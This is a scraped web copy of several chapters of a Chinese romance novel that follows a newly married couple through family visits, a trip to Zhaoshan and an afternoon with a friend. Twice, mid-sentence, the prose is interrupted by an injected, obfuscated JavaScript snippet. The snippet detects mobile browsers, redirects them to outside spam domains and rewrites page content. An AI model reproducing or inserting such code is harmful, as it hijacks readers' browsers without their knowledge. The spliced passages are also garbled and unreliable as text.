聂宇在卫生间磨蹭了许久,出来时她拿着一条大毛巾在假装擦头发,余光瞥见孟京阳在客厅看电视。见她出来后,他起身拿着换洗衣服进了卫生间,顺带把遥控器放在了很显眼的地方。 聂宇才没有去看电视,她回了房,坐在卧室的桌子前一边擦头一边在想接下来该如何应对。一晃时间飞快过去,孟京阳已经洗完澡出来了。 “聂宇——” 他走进卧室,唤她一声,想让她累了就休息。然而聂宇却因为过度紧张于他的出现,刷一下站了起来,把椅子撞离原处,过程中发出了好大一声刺耳的响动。聂宇脸瞬间红了,满是尴尬,而孟京阳在讶异过后,微微失笑。 “紧张什么?” 他瞧她一眼,走过去将椅子拉到墙边,顺便将毛巾搭在了上面。再向聂宇看过去时,她依旧站在那里,仿佛犯了错一样,手指都绞在了一起。孟京阳见状觉得这姑娘有些可怜,便走过去打算安抚她。 “聂宇。” 他又轻唤了一下她的名字,聂宇假装无事地抬头应了一声。两人对视片刻,她出其不意地吐出两个字:“可以。” “?” 孟京阳起初没明白,因为这不是他打算说的事。待他反应过来之后,他忍不住笑了,握住了聂宇的手。聂宇那叫一个恼啊,觉得自己自作多情了,正要甩开他的手,忽而被人拦腰一抱,不知怎么就双脚离地坐到了身后的桌子上。 聂宇犹自发怔,面前那人忽然就向她逼近,压了下来。随后,唇上传来一阵温热感:他在亲她。 - 这是聂宇的初吻,在紧张过后,她试图放松下来,好好感受一下。 但孟京阳没给她这个适应时间,几乎是箍住她的腰,扣住她的后脑勺,就宛如火焰一般,想要将她瞬间吞噬。 他忍了足够久了,从今天看到她旗袍那一刻,或者从更早的某一个瞬间。一种微微的焦灼感,只有他明白。 聂宇却是险些被他要了命,喘息着在他怀里很是挣扎了一番,才让他慢慢冷静了下来,松开了她。在重新呼吸到新鲜空气的那一刹那,聂宇由衷地激动,整个身躯都颤抖了起来,眼睛也盈上了一层水雾。 孟京阳并没有完全放开她,一只手仍在揽着她的腰,就这样相拥着各自平复了片刻。他低下头,寻找到聂宇的唇,再度轻轻吮住。 这一次聂宇有些抗拒,但孟京阳动作温柔了许多,仿佛稍解了饥渴的旅人,在品尝清泉的甘甜,不慌不忙,渐入佳境。 聂宇微微闭上了眼,不知不觉中攀上了他的肩膀,身体也稍稍离开了桌面。孟京阳越发紧抱她,两人就这般唇齿交缠了许久,直到聂宇都有些迷醉了,他才松开了她。 “够了,睡觉吧。” 他在她耳边轻声说,聂宇眼角处含了许久的那颗泪珠终于掉落了下来,她依偎在孟京阳的怀里,止不住地轻颤。 23.46-46 -46- 聂宇没有想到,自己新婚第一晚就这样度过了。 虽说有种如释重负感,但多少还是觉得有些不对。她第二天稍稍试探了下孟京阳,得到的答案是看她太累,聂宇勉强相信了。 之后的几天依然没有,但这回理由很充分:孟京阳去新单位报到了,根本连家都回不来。 一连几天的搁置,让聂宇逐渐放下了这件事,却没想后方有人替她惦记着。 - 在聂宇和孟京阳的仪式结束之后,奶奶谢静芳准备打道回府了。正好蒋家这边有个熟人要去秦城,蒋铸便将谢静芳托付给了他,一路也算有个照应。 聂宇得知这个消息后彻底放下了心,回到招待所来帮老太太一起准备返程的东西。之前听老太太说姑姑聂传溪一家也来了市里,就住在距离他们新房子不远的地方,是以她买了很多燕城的特产,让奶奶带回去给姑姑一家。 谢静芳的心思却不在这上面,她看着聂宇这几天为自己跑来跑去的,有时候干脆连家也不回,很是为她和孟京阳的相处担忧。但另一方面,她又不想小两口太粘着,怕一个不注意到时候有“好消息”传出,影响聂宇的学业。 在一番思想斗争过后,谢静芳拉着聂宇的手,表情颇为严肃地嘱咐她:“澄澄,费了这么大的劲儿考上了学,这几年还是尽量以学习为主吧。京阳那边,虽说比你大几岁,但我看他也不像是急着要孩子的样子,这方面你不要想太多,有些事能克制也尽量克制。” “……” 聂宇有些无言。难不成奶奶是怕他们太过纵情吗,殊不知他们还一次也没有呢。 “我晓得奶奶,这几天孟京阳都在团里忙,一直没回来呢。” 聂宇没告诉谢静芳她还是婚前的那个她,怕老太太多想。这不,一听孟京阳好几天没回来,老太太的表情就有些微妙的变化,聂宇赶紧拉着她收拾行李,转移她的注意力。 - 两天后,老太太离开了燕城。 孟京阳抽空跟聂宇一起去车站送的,当晚在家住了一晚,第二天又起早匆匆赶去了团里。临走时聂宇还在睡,醒来后看见他从食堂打回来的早饭和留下的一张字条,发了会儿呆才起身去洗漱,吃饭,开始新的一天。 对于孟京阳因忙碌而导致的无暇他顾,聂宇尽量让自己表现的不那么在意,她给自己每天安排的很满:上午学习,下午去游泳,闲时去蒋孟两家逛一逛。 这算是聂宇婚后迎来的一个新变化,那就是时不时去孟家转一转,陪陪孟老爷子。而且差不多也就两天的功夫,聂宇就成功喜欢上了孟老爷子,觉得他老人家可比自己姥爷好相处的多。 相比蒋铸的严肃和一把抓,孟锐挺可以说是相当和蔼可亲,对所有的人和事都是大撒把的态度,一句话总结就是:随他们去。聂宇作为新媳妇并不晓得老爷子之前是怎么为孟京阳着急的,看他老人家整天乐呵呵的,心里可说是充满了感慨。 “你姥爷是操心太多,总想着万事皆好。但怎么可能呢?”孟锐挺笑一笑,对聂宇说,“儿孙自有儿孙福,除了人生的关键大事,其他都让他们自己折腾去吧。” 聂宇正陪着老爷子喝茶,闻言笑笑说:“也是您老有福气,无论是孟司令员还是京阳,都不用您太费心。但我姥爷那里,您也知道……” 蒋云鹏没本事,蒋晓先不争气,蒋云清又是那么个病秧子——聂宇忽然觉得,她有些理解自己的姥爷了。 “说的是,我是有福气,要不然老天爷也不能让今年全院唯一的一个大学生来做我儿媳妇。” 孟锐挺眯眼笑,聂宇被他瞧得有些不好意思。 “今年院里参加高考的一共就三个……”她低声解释了句。 “是,咱院里就仨,但全燕城多少?全国多少?你能被科大录取还不优秀?” 孟锐挺打定主意要夸她,聂宇只好接受了。 “好吧,您说的对,我也觉得自己挺厉害的。” 爷俩对视一眼,都笑得很开心。彼此的距离,在一瞬间就被完全拉近了。 - 因为孟京阳不常在家的缘故,外加在院里的图书馆学习方便,聂宇这些时日以来大多住在干休所。但跟之前不同的是,在成为孟家的媳妇之后,聂宇偶尔也会在孟家过夜。且随着她跟孟老爷子越来越投缘,她在这边住的频次慢慢超过了蒋家,惹得蒋铸偶尔犯嘀咕。 孟京阳也知道这一点,所以他在得空回市里的时候会先给孟家这边来个电话,先探清家属今晚住哪儿,他再决定回哪边。 今晚,是孟京阳这些天以来第三次有空回家,得知聂宇在孟家,他就直接回了干休所这边。 到家的时候已经快八点,老爷子和聂宇都已吃过晚饭,在客厅里下棋。孟京阳走过去看了一眼,发现俩人在下的是象棋。就这么几天的功夫,老爷子已经教会聂宇下象棋了,成功地为自己培养了个对手。 “你还知道回来呀?”孟锐挺瞅孟京阳一眼,略有些不满地说道。 其实他是在替聂宇责备他,毕竟才新婚,再忙工作也不能冷落老婆。但同是军人出身,他也能理解孟京阳的工作性质,所以注定只能过过嘴瘾了。 孟京阳仿佛自有成算,看老爷子一眼没说话。倒是聂宇,忙中抬头,问他有没有吃晚饭。 孟京阳毫不客气地说没有,聂宇也很不客气地指了下厨房,说:“有剩的,自己热热吃了吧。” “……” 抬眸跟老爷子对视一眼,孟京阳笑一笑,转身去了厨房。 - 当晚,俩人住在了孟家。因为聂宇跟老爷子下棋一直下到了快十点,再回自己家就有些太晚了。 但孟京阳觉得聂宇似乎是有些故意的,在回到房间之后,他便问她:“给你使了那么多眼色都当没看见,下棋有那么好玩儿么?” “好玩呀。”聂宇说,“不好玩能下那么多盘吗?” 挺有道理。孟京阳没再说什么,看着她拿衣服去洗漱。 其实聂宇确实是故意的,因为心里有点气。但她怎么发泄呢,毕竟孟京阳是在忙工作,又不是因为别的不回家。所以她也只能玩一些这种小伎俩了,甚至等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517385|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她洗漱完出来时,整个人都已经平静了。 孟京阳随后进卫生间,用最快的速度洗漱完毕,出来后躺在了聂宇的身旁。起初,两人是并肩躺着,没一会儿孟京阳转过了身,将聂宇揽进了怀里。这是俩人第三次同床共枕,聂宇不禁想到一句俗语:再一再二,没有再三再四。所以,今晚会发生点什么吗? 聂宇忽然有些紧张了,就听孟京阳说:“今天嫂子给我打来了一个电话。” “……?”聂宇没明白。 “你把天放的课时费都还回去了?”孟京阳低头,半是失笑地看着聂宇。 今天大嫂于恬打电话来,说是在天放的书包隔层里发现了两个信封,打开一看是之前她装好的,让小孩儿带给聂宇的补习费。于恬大惊,得知是聂宇退回来的,她立马把这事儿告诉了孟京阳。 聂宇也不由一惊,钱确实是她退回去的,但已经分别是两个月前和半年多前的事了,大嫂居然才发现!难不成,是天放忘了这事儿?也亏得在书包里放了那么久都没丢! “怎么想的,把这事儿交给孟天放?”孟京阳了解了事情的经过后,多少有些不理解。 “那我给谁呢?我都交代好了的,让天放一回家就把钱给妈妈,后来你大哥那边没有动静,我还以为他们接受了呢,所以才有了第二次……” 聂宇越说越觉得自己这事儿办的不聪明,孟京阳的沉默也表达了同样的意思。 “怎么不收下?当初不是说好了免一个月?”她倒好,大手一挥全免了。 “就……还是觉得过意不去。”聂宇说,“我也不能白用你的地方。” “所以你就这么两两相抵了,没想过他是他我是我?” 黑暗里,孟京阳挑一挑眉,却见聂宇一骨碌从床上爬了起来。 “你还跟你侄子分这么清呢?” 她瞪着孟京阳看,只见男人无言片刻,看着她叹了口气。 “算了,现在也算是你的房子了,以后再带课就放心大胆地收钱。”孟京阳说着,轻抚上她的手臂,将人拉了回来。 “那照这么说,天放还成我侄子了呢,更不能要钱了。”聂宇笑一笑,躺下了。 “所以说你不能做生意,太有原则会把自己饿死。” 孟京阳说着,眼睛已然闭上,但聂宇还在琢磨他这句话。她不觉得自己算是有原则,只能说是随心,怎么舒服怎么来。 聂宇把这一感悟告诉了孟京阳,他从后揽住她说:“好,你说得有道理,睡觉吧。” 聂宇“嗯”一声,过了会儿才发现,这是“再一再二又再三”了。 - 第二天,孟京阳又是一早就起床回部队了。 聂宇用最快的速度调整好自己的心理状态,做好了又要好几天不见他的心理准备。结果没想到只是隔了三天,他就又回来了,而且还是在午后,不到下班的点儿。 “孟太太,经过我的不懈努力,现阶段的工作终于告一段落。我请下来了一周多的假,趁你还没开学,想不想去外面走走?”孟京阳笑看她,“就当休婚假,如何?” 24.47-48 -47- 聂宇没有想到,孟京阳这几天一心扑在工作上是为了挤出时间来陪她“休婚假”。惊喜之余,她又有些疑惑。 “你怎么现在才告诉我?” 她的口吻里含着一丝责怪的意味,孟京阳迟了一秒,才告诉她:“说早了怕请不下来假,让你白等一场。” 其实打一开始根本就请不下来,团里那边儿忙的没法批。孟京阳也没过多提要求,没日没夜地赶着时间干完了手头所有的工作,才又去向团长劳仲辉打的申请,这次顺利得到了批准。 聂宇听了他的解释,心跳稍稍加速。 其实并不能全怪孟京阳瞒着。他们两个都没料到,原来她是如此地期盼着他。 果不其然,孟京阳的眼神微微变了。俩人牵手回了楼上房间,关上门后聂宇刚要细问,就被人抵在了门上。“始作俑者”低下了头,攫住了她的唇。 这一回受情绪蛊惑,俩人都很激动,大有停不下来之势。但这毕竟还是大白天,又是在孟家,孟京阳极力让自己冷静了下来,拥住了聂宇。 “这回有进步。”孟京阳在她头顶上方说道,声音有些低哑。 聂宇在他怀里喘了喘,说:“我天天游泳,肺活量一直很好呢……” 孟京阳忍不住笑了,过了会儿问她:“有没有想去的地方?这次你来定。” 聂宇认真想了想,最后得出的答案是:“照山。” 孟京阳听了有些意外,他松开她,看着她问:“你确定?照山去年不是去过了?” “但我没有好好玩儿过,因为心里一直有事。”聂宇说,“听说照山很美的,但我现在回想起来记不得多少风景。那还是我长那么大头一次外出游玩儿,却有很多遗憾。” “也行。”孟京阳想了想说,“旧地重游是会别有一番风味,不过还是给你一天的时间考虑下,然后我们订票出发。” “旧地重游也不是因为你哈,别想多。” 聂宇似笑非笑道,似乎是有点儿过分嘚瑟了。孟京阳瞥她一眼,却也是笑笑没说话,只抬手捏了捏她的脸。 俩人就这么腻歪片刻,然后下楼回家。 - 考虑了一天之后,聂宇还是想去照山。当然不排除一部分原因是她去过和了解过的地方不多,所以选择便不多。孟京阳尊重她的意愿,立刻就订了去往照山的机票。 一听说是坐飞机前往,聂宇顿时生出了怯意,怕又晕机。但若是换做其他交通工具前往,耽搁在路上的时间又太多太多,于是聂宇鼓起勇气,打算再尝试一次。 两人又用了一天的时间收拾行李,然后在第二天上午出发去了机场。未免晕机,孟京阳给她带了几个橘子和几片晕车药在包里,聂宇虽有心理准备,但一张脸还是紧张到煞白,孟京阳只得安慰她,让她上了飞机就枕着自己的肩膀开睡。 聂宇心想哪那么容易就睡得着呢,但落座之后,她还是靠住了孟京阳,两人有一搭没一搭地聊着,待飞机进入平稳飞行之后,她真的坠入梦乡了。就这么一路睡到了照山所在的江市,直到飞机安全降落时,她才在轻微的颠簸中醒了过来。 睁开眼睛时,聂宇犹有些懵,头发都睡散了。但她并不觉得有任何难受的地方,甚至因为没吃东西还感到饥饿。聂宇的心情很好,她解开安全带站起身,差点儿撞到了头。 孟京阳瞧着她笑,抬手将她扎头发的头绳捋了下来,一头乌发的长发瞬间柔顺地滑了下来。聂宇微微有些受惊的样子,一把抓住头发,双眼圆睁地瞪他一眼。 “再坐一会儿,不着急下。”孟京阳拉着她的手,看了看不断从身侧经过的人群说,“照山那边有车过来接,我们慢慢来。” “好。” 聂宇应一声,复又在他身边坐下。两人一直等到飞机上的人差不多都走光,才从容起身,下机。 - 接着是取行李和出站。 八月末的江市平均温度在二十多度左右,再加上昨天才结束了缠绵多日的雨季,是以刚下飞机的时候聂宇还感觉有些冷。孟京阳随行带了件长袖外套,直接披在了她身上。 两人一起去转盘前取行李,在等待的功夫,聂宇低声纳闷:“这一次感觉没怎么晕呢,睡得也不错,这说明我本身应该不晕机的。那上回是怎么回事?” “心理原因。”孟京阳说,“上一回你登上飞机的时候,整个人应该是慌的。” “……”聂宇觉得他神了,怎么能猜的那么准。 “那这一回,我是脱胎换骨喽。” 聂宇仰头看他,孟京阳垂眸对上她明亮的视线,忽地低一低头,在她唇上轻啄了下。聂宇受惊不小,扫视了一下周围,见没人在往这边看,才略略放心了。她轻捏了一下孟京阳的手,脸颊上浮现两抹红。 - 出站之后,前来接机的人顺利与他们碰头,一行人简单寒暄之后,直接从机场出发前往照山。 这一路过去,大概又要两个多钟头的时间,聂宇睡饱了精神充足,便神清气爽地欣赏着窗外的街景和山景。到进入照山之后,天色已经完全暗了下来,只有两盏大灯照亮前路。聂宇看了一会儿便觉得疲惫,孟京阳顺势将她拥入怀里,让她歇一歇。 在抵达疗养院之后,又是一番灯火通明的景象。两人重新打起了精神,辨认着一些熟悉的建筑,低声交谈。司机在前面徐徐地开着车,不一会儿就抵达了招待所楼下。 因为现时不是疗养旺季,照山的大多数住处都空着,孟京阳直接入住一号别墅群也没问题。但他最终还是选择了这栋高及五层的招待所,低调又方便。 司机帮他们将行李送到楼上,又把车钥匙留下后,告辞离开。聂宇打开房门进去,四处打量一番后,发现了一点端倪。 “这跟你去年住的那间有点儿像诶,是不是同一个房型?” 孟京阳快速地扫视一圈,说:“应该是的,去年我住三楼东,今年住三楼西。” 聂宇的表情顿时有些一言难尽。虽说她想旧地重游,但没必要什么都再来一遍吧,她去年在那个房间的回忆可不太美好。 聂宇没说话了,埋头放行李,孟京阳见状,笑一笑说:“要不要换个房间?这是他们安排的,我也不知情。” “算了。” 聂宇说,看表情是在努力地跟这个房间和解,让自己不要太在意。 孟京阳被她逗乐了,又说:“其实寓意也不错。”他转过身,抬手将房门关住,悠悠道,“这回你再想溜,可是门也没有了。” “……” 聂宇倏地转身看他,没多久就憋不住,笑了。 “你这个人,真记仇。”她嘟囔着,声音早已经黏糊了。至于那点儿不快,此时已被抛到九霄云外。 - 经过了一天的舟车劳顿,当晚两人没安排任何行程,简单地吃过晚饭之后,就回房间休息了。 这一夜可说是睡得极好,第二天两人一早起来,就打算去附近逛一逛。 然而一通电话打乱了他们的计划,孟京阳挂下听筒后,有些无奈地告诉聂宇:“我有个朋友也来照山了,想见一见我们。” 此友正是应烽。 他一直在秦城军区工作,前段时间忙着演习没空去参加他和聂宇的仪式,这次得知他们来照山,他硬是请了几天假来这会儿跟他们汇合,要见一见孟京阳的老婆。 聂宇当然觉得有些意外,停了几秒,她问:“他要在这儿待几天,要一直跟我们一起吗?” “那不可能。”孟京阳说,“一天就够了,剩下的时间让他自个儿找乐子打发去。” 那还成。 聂宇迅速接受了这个变动,在回房去换衣服的时候,她突然停下脚步,回过头,问孟京阳:“孟先生,你有那个需要吗?在你朋友面前,给你涨下脸。” 聂宇说这话的时候,眼神稍稍有些变化,孟京阳从她流转的眼波间,竟捕捉到了一丝魅惑。他先是失笑,然后又一挑眉,反问她:“又有什么歪招?” “你就说你需不需要。”聂宇忍着,让自己不要破功。 对应烽呢,当然没有这个必要。但对他自己,孟京阳觉得可以有。 “可以期待下。” 孟京阳说,聂宇立马就笑了,丢下一句“等着”,回屋去梳妆打扮了。 孟京阳就是就乖乖等着了,直到差不多过了半个小时,聂宇终于从房间里出来了,他略一抬眸,目光就定在了那里。 说真的,聂宇是最近这两个月才考试练化妆,手生得很。所以虽然嘴上说着要“涨脸”,实际化出来的也是淡妆,除了重要部位着重点缀下,其他地方都没怎么动。 但妙也就妙在这里,娥眉淡扫,长睫轻描,红唇潋滟,浓妆搭着淡抹,竟将她最惊艳的地方都给衬托出来了,如此打扮再配上一身白色长裙——孟京阳向来都知道聂宇漂亮,却不知道她还能美成这样,当即心情就有些复杂。 “澄澄。”孟京阳站起来,说,“我谢谢你,把我的脸面看的这样重。” “???” 聂宇原本就有些忐忑,听到这话更有些不安了,她走到客厅的一面镜子前照了照,回过头问孟京阳:“太隆重了些吗?我也没下重手啊……” 后半句是嘀咕给自己听的。 孟京阳不由笑了,走上前只手搭在她的腰上,从镜中与她两两相望。没多久,他将她转过来,低下头想吻她。 聂宇及时拦住了他:“妆要弄乱了……” 她甚至还在笑。孟京阳叹息一声,说:“太漂亮了傻姑娘,但就这样吧。”他说,“我看着也开心。” -48- 应烽再一次见到聂宇的时候,很是吃了一惊,他感觉面前这个姑娘跟上一回见到时已经完全不同。 “变化很大啊。”应烽笑着,神情颇为惊异。 聂宇下意识想问自己以前是什么样,忽然想起某人曾经那一句很不客气的排比和比喻,瞬间掐灭了这个念头,只微微礼貌一笑。 孟京阳似是毫无所觉,待应烽看过来的时候,俩人握一握手,他问:“什么时候过来的?” “今早上啊。到了就来找你,怎么样,够哥们吧?” 应烽冲他挤一挤眉,孟京阳不以为意道:“也没必要这么着急,什么时候见不是见?” “那可不一样。”应烽哼哼一声,“见你是不用挑时候,但见嫂子可不行。” 这声“嫂子”,称呼的自然是聂宇。她还是头一回被这么叫,赧然的同时觉得有些新鲜。 孟京阳仿佛也有被取悦道,终于说:“走吧,找个地方慢慢聊。” - 一行人出了疗养院,驱车去了附近的一个景点。但他们的目的并不是去看风景,而是意在景点旁的一个山涧小院,那里供应的有山中采来的新茶和当地的特色美食,是很多来照山的人必须光顾的一处。这原本也是聂宇和孟京阳今天上午的安排,此时多了个应烽也并无不便。 停稳车子后,一行人进了院里,在特设的茶座里要了个能看见山景的位置。聂宇兴致勃勃地坐下来,看见对面被云雾遮面的缥缈山景,只觉得心旷神怡。 “风景真好。”她微笑感叹。 “想喝点什么?” 孟京阳也是一笑,将店家递过来的菜单先给了她。 “都可以。”聂宇说,“不是说有特色新茶嘛,尝尝那个好了。” “行。” 孟京阳又示意应烽,这回多少有些敷衍了。应烽假意不满,招手要了两瓶白酒,准备把孟京阳灌醉。 可无论是他还是那点儿酒,孟京阳都没放在眼里。 “自个儿来的?”孟京阳问,见他点点头,他又说,“那你还是克制点,喝醉了没人管你。” 嘿!这是来他这个孤家寡人这里显摆来了是吧! 应烽本来还想开开这俩人的玩笑,打听打听他们到底是怎么在一起的。但许是现在的聂宇给人的感觉比一年前更有范儿,反倒让他不好意思开口了。于是只好聊其他,反正二十多年的老友了,多的是可聊的东西。 聂宇也是通过孟京阳的介绍和两人的聊天内容真正了解了他们的关系。俩人是发小,打小在一个院儿长大,但那个院儿不是现在这个干休所大院,而是孟京阳的亲生父亲孟锐和曾经所在的国防科工大院。也就是说,应烽的父亲和孟京阳的父亲是同事,而他和孟京阳则是发小加校友的关系,两人是同一所军校毕业。 “那你怎么分配到秦城了,没回燕城来?” 聂宇尝一口店家送的黄桃后问道,甜的眼眸微亮。 “这,我能说么?”应烽一挑眉,看向孟京阳。 “你随意,反正丢人的不是我。”孟京阳喝一口茶,无所谓地表示道。 应烽只得叹一口气,说:“当时喜欢上了一个姑娘,她家是秦城的,所以我就想方设法分到了那儿。结果才三个月,仅仅三个月,她就跟别人跑了,说我天天在部队里忙出不来,无法满足她的情感需求。所以说小聂啊,我得谢谢你收了咱孟参谋长,为人民军队排忧解难。你看我,到现在组织还在为我操心呢。” “……” 聂宇差点儿被桃噎着,缓过来后捂着嘴不住笑。 “你要是不当兵了就去说相声吧,肯定天天满座。”至于他的悲惨情史,因为这人过于搞笑,一点儿也让人同情不起来。 “别被他骗了,这厮也就一张嘴。” 孟京阳也笑看着应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527843|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烽,眼中含义丰富。应烽不以为耻反以为荣地表示:“我知道,你这是嫉妒我,嫉妒我比你讨女孩子喜欢。” 孟京阳:“呵。” 让让他算了,毫无争辩的必要。 - 三个人一直聊到中午,干脆午饭也在这里解决了。而当他们吃完准备离开的时候,天边却又下起了雨。 聂宇看了不禁皱眉,可惜道:“又下雨了,那游泳池估计又不能开了。” 因为雨季的缘故,照山的浴场和露天泳池都关了,只得这阵子的雨过了之后重新开放。聂宇昨天在前台问过工作人员,说如果不下雨的话这两天一号鹤清别墅的露天泳池就可以启用,但现在看来,这日子怕是又要往后延了。 “山里多阵雨,或许一会儿就停了。”孟京阳安慰她。 “停不了,下两天呢。”应烽很没眼色地插话,又问聂宇,“小聂喜欢游泳?” “小时候练过跳水,现在不跳了就经常游泳。” 孟京阳替她回答,却见应烽的眼神突然变得别有意味。 “这么说,也算是半专业的了——” 他说着,给了孟京阳一个眼神,让他自己体会。孟京阳反应了下才明白过来,眉头微一沉,回了他一个警告和无聊的眼神。应烽见好就收,不再惹他不快,因为他也意识到这个玩笑开得有些过头了。 聂宇却一无所知,听到这话只是表示自己不过游着玩玩儿。应烽笑笑,主动站起来去结账了,逃离了现场。 饭后一行人回到招待所里。短暂地午休过后,应烽又打电话来,邀请他们一起去打羽毛球,美其名曰室内运动淋不着雨。 孟京阳就知道应烽是个闲不住的,但既然今天决定了一起玩儿,还是不好扫他的兴,于是便和聂宇换上了适合运动的衣服,去了球馆。 到的时候应烽已经在了,旁边还有一个运动打扮的高个女孩儿。见他们两人过来,应烽随口介绍了句:“小秦,一朋友。咱们这不三缺一么,我请她过来一块儿打。” “你好。” 孟京阳同女孩儿打了个招呼之后,就去选拍了。聂宇留在原地多跟小秦聊了几句,顺便热一热身。 应烽见状就知道她是经常运动的,看肌肉线条也看得出来。他笑着一抬眉,专门趁孟京阳选好拍走过来,跟聂宇说:“小聂,咱俩组队吧,如何?” “为什么?”聂宇知道他在开玩笑,便笑着顺着他的话说。 “你看啊,你俩是夫妻,肯定有默契。要是让你俩一起上,那我和小秦胜算不大啊。” 聂宇心说未必,但她只是笑笑,看向孟京阳,仿佛在征询他的意见。 “你要是想输,就跟他一队。”某人只有这么一句,很有一种“能人不必话多”的潇洒和自信。 “你别嘚瑟啊,我刚就是谦虚一下。虽然小秦是新手,很有可能扯我后腿,但我没关系。我可以一打三,我一人对付你们三个!” 应烽嚷嚷着,聂宇觉得他太不给小秦面子,本想对小秦说她俩一组,给这俩男的一点颜色看看,却见小秦微撇着嘴在偷瞧应烽,应该是想和他组队。这样一来她就不好“棒打鸳鸯”了,便说:“既然如此,我还是和孟京阳一组吧,正好试试你的本事。” 聂宇走到孟京阳身边,问他要球拍。孟京阳却没立刻给她,只是在应烽和小秦走到对面之后,握着轻拍悠悠问了她一句:“孟京阳是谁?” 聂宇知道,他这是嫌她连名带姓地喊有些生分。脸不由一热,聂宇伸手去抢,被他避了过去。聂宇无法,只得说:“我家属,我老公,行不行?” “可以,后面那个更好听。” 孟京阳笑说着,把球拍塞到她手里。聂宇看着他的背影,那叫一个气:没让你选好不好! 开打之后,放下狠话的应烽自然是拼尽全力。但聂宇和孟京阳之间似乎真有那么多默契,亦或者他们两人更有配合的意识,因此自然发挥地更好。两局结束后,他俩全胜。 应烽又在嚷嚷着五局三胜,他俩只好大发善心地又虐了他一局,如此以来他是彻底没了心气,下来之后冲小秦皱眉,意思是让她要配合他,主动给他做球。 小秦此刻也有些无语了,在聂宇过来给她送水的时候,低声同他抱怨:“这人也太难讨好了,没意思。” 聂宇隐隐有猜到小秦对应烽“别有用心”,但见她如此直白地说出来,她还是有些意外。意外之后是想笑,她有点儿理解为什么应烽找不到女朋友了,真是成也那张嘴败也那张嘴。 “那个,方便问一下吗,你跟你家属是怎么认识的?” 见应烽不行,小秦又来打聂宇的主意了。聂宇略一警醒,笑一笑没有回答,只示意她喝水。开玩笑咯,她人生至今为止最大的糗事能随便往外说吗? - 傍晚时分又下起了雨,一行人打完球后随便在招待所吃了些东西,便各回各家了。 因为淋了雨,俩人回到房间的第一件事就是洗澡。孟京阳先进的卫生间,他动作很快。而聂宇因为要洗头,在里面磨蹭了半个多小时才出来,此时外面的雨已经下大,她一边擦着头发,一边看着窗外的雨自言自语:“是不是真不该来照山,照这么下下去,我们还能玩儿吗?” “不要紧。”孟京阳正在翻招待所放在每一个房间里的照山地方志,顺带宽慰她,“不一定非要去哪儿,在房间里听听雨声也是一种放松、休息。” “那不会觉得无聊吗?”聂宇在沙发旁坐下,问他,“就窝在房间什么也不做?” “你要想,也不是找不到乐子。” 孟京阳说着放下书,看向聂宇。而聂宇也正好在看他,两人四目相对,在起初的茫然过后,彼此的眼神都微微起了变化。 乐子,这个词未免太过引人遐思。聂宇一眨眼,正想说什么,孟京阳又移开了视线,倾身摸过茶几上的遥控器,似乎是准备打算打开电视机。 聂宇不免有些无语,加泄气。她想,这人可真是坐得住。 在经过一些情绪起伏之后,聂宇冷哼了一声,算是发泄。孟京阳自然听到了,他瞅她一眼,问:“怎么了?” “没怎么。”聂宇说,“就是觉得孟先生您真是正人君子,堪比坐怀不乱的柳下惠。” 这是明着在嘲讽了,聂宇也觉得难堪,但心里实在气不过。她不是非要和孟京阳发生点什么,但不发生是一回事,不想发生又是另外一回事。如果他对她没一点儿想法,就干脆碰都别碰她呗,还亲什么亲。 孟京阳沉默了好一会儿,蓦地一笑,说:“你又没坐我怀里,怎么知道我不会‘乱’?” “……” 聂宇含着别扭和诧异看过去,只见他此刻望向她的眼神竟已深邃无比。 25.49-50 -49- 聂宇心口收紧,一时不知该如何应对。反观孟京阳,他将遥控器丢到了一旁,一摊手,彻底向她敞开了自己的怀抱,端看她敢不敢“坐”了。 这简直就是在向她下战帖,聂宇心如鹿撞,纠结了好一会儿,终于心一横,将毛巾往身后一放,站起了身。 孟京阳立刻盯住她,双眸紧锁在她身上,注视着她向自己过来。很快,她来到他面前了,稍作停顿后身体往前一倾,人顺势就矮了下去。等他回过神来,她已经快要坐到了他的腿上。孟京阳呼吸稍稍一滞。 因为差了些身高,再加上孟京阳没有完全挺直腰,聂宇坐下来之后,发现自己正好与孟京阳四目平视。他的脸庞就这样闯入她毫无防备的视野,连眼下的一粒小痣都看到那样清晰,一览无余。 聂宇稍有些无措,努力与他对视。不过几秒的功夫,她断定自己实在撑不住这样在彼此眼中的放大和毫无遮拦,决定起身离开。此时的她哪里还记得刚才揣在心里的那点小计谋呢,她原本还打算坐下之后用半开玩笑的方式挑衅一下他呢,真是太高看自己了。 孟京阳适时出手箍住她的腰,略一停顿,故作不解地问道:“怎么才来就要走?” 聂宇脸迅速涨红,瞪着他,无话可说。就当她没出息行了吧,她认输还不成吗? 孟京阳终于笑了,往前迎了迎,与她轻轻碰了碰头。这一下让聂宇好受了许多,她平复了一下心跳后没再急着走,而是稍稍拉开两人之间的距离,抬眸问他:“乱了吗?” 此时因为孟京阳直起了身,俩人之间又稍稍有了一些落差。 “自己来找答案。” 说完这句话,孟京阳吻住了聂宇。 这一刻,俩人之间爆发的火热,仿佛足以逼停屋外的大雨。聂宇原本是跨坐在他的腿上的,因为不便使力,亲着亲着就被孟京阳翻压在了身下,她被迫蜷进了沙发角,退无可退地仰头承受着他的吻。 直到察觉一切即将失控,她终于挣扎着让他停了下来。俩人相拥着静止在了那里,响彻在耳边的心跳上一时盖过了外面的雨声。 